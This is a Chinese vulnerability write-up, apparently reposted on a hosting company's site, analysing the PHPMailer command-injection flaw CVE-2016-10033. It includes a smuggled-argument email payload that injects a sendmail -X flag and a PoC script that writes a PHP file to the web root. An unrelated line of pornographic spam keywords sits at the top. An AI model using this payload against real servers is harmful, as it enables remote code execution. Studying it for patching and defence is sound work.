亚洲精品无码鲁网中文电影,无码专区日韩亚洲精品,丁香花视频资源在线观看,亚洲综合av永久无码精品一区二区

您好,歡迎進(jìn)入銳速云官網(wǎng)!

售后熱線:4006-5050-10 QQ客服:2852917158 登錄 注冊(cè)

PHPMailer 命令執(zhí)行漏洞(CVE-2016-10033)分析
編輯作者:   發(fā)布時(shí)間:2017-09-03

PHPMailer是一個(gè)基于PHP語(yǔ)言的郵件發(fā)送組件,被廣泛運(yùn)用于諸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用戶量巨大的應(yīng)用與框架中。

CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻擊者只需巧妙地構(gòu)造出一個(gè)惡意郵箱地址,即可寫入任意文件,造成遠(yuǎn)程命令執(zhí)行的危害。

對(duì)比一下新老版本: https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master

img

其實(shí)答案呼之欲出了——和Roundcube的RCE類似,mail函數(shù)的第五個(gè)參數(shù),傳命令參數(shù)的地方?jīng)]有進(jìn)行轉(zhuǎn)義。

回顧一下當(dāng)時(shí)Roundcube的漏洞:因?yàn)閙ail函數(shù)最終是調(diào)用的系統(tǒng)的sendmail進(jìn)行郵件發(fā)送,而sendmail支持-X參數(shù),通過(guò)這個(gè)參數(shù)可以將日志寫入指定文件??梢詫懳募?dāng)然就可以寫shell,造成RCE了。

詳細(xì)分析一下,下載一份源碼,并切換到5.2.17版本:

git clone https://github.com/PHPMailer/PHPMailercd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

單步調(diào)試可以發(fā)現(xiàn)確實(shí)和之前Roundcube出現(xiàn)的漏洞( http://wiki.ioin.in/search?word=roundcube )一樣,是傳給mail函數(shù)的第五個(gè)參數(shù)沒(méi)有正確過(guò)濾:

img

但上圖是錯(cuò)的,因?yàn)檫@里是不支持bash的一些語(yǔ)法的,也就是說(shuō)反引號(hào)、${IFS}都是無(wú)效的。但實(shí)際上PHPMailer在調(diào)用mailPassthru前會(huì)對(duì)email進(jìn)行一定的檢測(cè),這導(dǎo)致我們無(wú)法構(gòu)造出像Roundcube那些可以直接寫文件的payload,檢測(cè)部分的代碼如下:

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('[email protected]', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {            $patternselect = self::$validator;
        }        if (is_callable($patternselect)) {            return call_user_func($patternselect, $address);
        }        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {            return false;
        }        if (!$patternselect or $patternselect == 'auto') {            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {                    $patternselect = 'pcre8';
                } else {                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {                    $patternselect = 'php';
                } else {                    $patternselect = 'noregex';
                }
            }
        }        switch ($patternselect) {            case 'pcre8':                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',                    $address
                );            case 'pcre':                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',                    $address
                );            case 'html5':                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',                    $address
                );            case 'noregex':                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);            case 'php':            default:                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

其他的地方我就不分析了,只分析上面這個(gè)函數(shù),這個(gè)函數(shù)有這個(gè)特點(diǎn)

  1. 默認(rèn)patternselect==‘a(chǎn)uto’,它會(huì)自動(dòng)選擇一個(gè)方式對(duì)email進(jìn)行檢測(cè)

  2. 如果php支持正則PCRE(也就是包含preg_replace函數(shù)),就用正則的方式來(lái)檢查,就是那一大串很難讀懂的正則

  3. 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自帶的filter來(lái)檢查email

  4. 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接檢查email中是否包含@

所以,根據(jù)現(xiàn)在的分析(注意,不是最終分析),如果想繞過(guò)這個(gè)email的檢查,目標(biāo)PHP環(huán)境必須有以下兩個(gè)條件:

  1. PHP版本小于5.2.0

  2. PHP不支持正則表達(dá)式,即沒(méi)有安裝PCRE擴(kuò)展(默認(rèn)是安裝的)

那么如果目標(biāo)PHP環(huán)境不滿足上述條件,是不是就絕對(duì)不會(huì)出現(xiàn)漏洞了呢?當(dāng)然答案也是否定的,我提兩種可能的情況。

一、開(kāi)發(fā)者手工指定Email檢查方法

PHPMailer是支持讓開(kāi)發(fā)者手工指定Email的檢測(cè)方法的:

img

如果開(kāi)發(fā)者編寫了上述畫框的代碼,那么這里就是存在漏洞的,因?yàn)槠渲粰z查Email中是否包含@。

二、開(kāi)發(fā)者指定PHPMailer::$validator = 'noregex'

我們看到validateAddress函數(shù):

public static function validateAddress($address, $patternselect = null){
   if (is_null($patternselect)) {       $patternselect = self::$validator;
   }

$patternselect默認(rèn)是根據(jù)self::$validator來(lái)確定的,如果開(kāi)發(fā)者指定了PHPMailer::$validator = 'noregex',也就可以繞過(guò)validateAddress函數(shù)了。

分析一下Email正則

那么,這真的是一個(gè)雞肋漏洞么?年輕人,多思考一下。

如果想把漏洞變成一個(gè)可用的好漏洞,需要去繞過(guò)Email的正則,我們來(lái)分析一下:

preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',$address);

中間的分析過(guò)程我后面慢慢寫,多研究一下你會(huì)發(fā)現(xiàn),在@前面,如果加上括號(hào),將可以引入空格,我的payload如下:

aaa( -X/home/www/success.php )@qq.com

測(cè)試代碼:

<?phprequire 'PHPMailer/PHPMailerAutoload.php';function send($from) {
    $mail = new PHPMailer;    $mail->setFrom($from);    $mail->addAddress('[email protected]', 'Joe User');     // Add a recipient

    $mail->isHTML(true);                                  // Set email format to HTML

    $mail->Subject = '<?php phpinfo(); ?>';    $mail->Body    = 'This is the HTML message body <b>in bold!</b>';    $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';    if(!$mail->send()) {        echo 'Message could not be sent.';        echo 'Mailer Error: ' . $mail->ErrorInfo;
    } else {        echo 'Message has been sent' . "\n";
    }    unset($mail);
}$address = "aaa( -X/home/www/test.php )@qq.com";

send($address);

執(zhí)行:

img

成功寫入success.php。

利用這個(gè)payload,是無(wú)需PHP滿足什么條件的,通用寫文件Payload。

參考鏈接:

  1. https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

  2. http://pwnscriptum.com/

  3. https://www.exploit-db.com/exploits/40968/

  4. https://github.com/opsxcq/exploit-CVE-2016-10033



版權(quán)所有:Copyright @ 2016-2022 深圳市銳速云計(jì)算有限公司 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證
粵B1-20171508
備案系統(tǒng) 粵ICP備16119720號(hào) 粵公網(wǎng)安備 44030902000612號(hào)